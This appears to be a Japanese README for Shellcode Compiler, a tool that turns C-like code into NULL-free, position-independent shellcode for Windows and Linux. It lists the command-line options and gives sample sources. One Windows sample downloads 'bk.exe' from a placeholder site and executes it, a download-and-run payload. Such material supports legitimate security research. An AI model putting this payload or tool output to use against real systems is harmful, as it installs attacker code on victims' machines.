
Shellcode Compilerは、C/C++形式のコードを、Windows(x86およびx64)およびLinux(x86およびx64)向けの、小型で位置独立、NULLフリーのシェルコードにコンパイルするプログラムです。ユーザーフレンドリーな方法で任意のWindows API関数やLinuxシステムコールを呼び出すことが可能です。
Shellcode Compilerはソースファイルを入力として受け取り、独自のコンパイラを使用してコードを解釈し、Keystoneエンジンでアセンブルされるアセンブリファイルを生成します。
-h (--help) : このヘルプメッセージを表示
-p (--platform) : シェルコードプラットフォーム: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : 詳細な出力を表示
-t (--test) : 生成されたシェルコードをテスト(実行)
-r (--read) : ソースコードファイルを読み込む
-o (--output) : 生成されたバイナリシェルコードの出力ファイル
-a (--assembbly) : 生成されたアセンブリコードの出力ファイル
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
他にも多くの制限が存在します。 これはアルファバージョンです。バグや提案があれば報告してください。
Ionut Popescu (@NytroRST)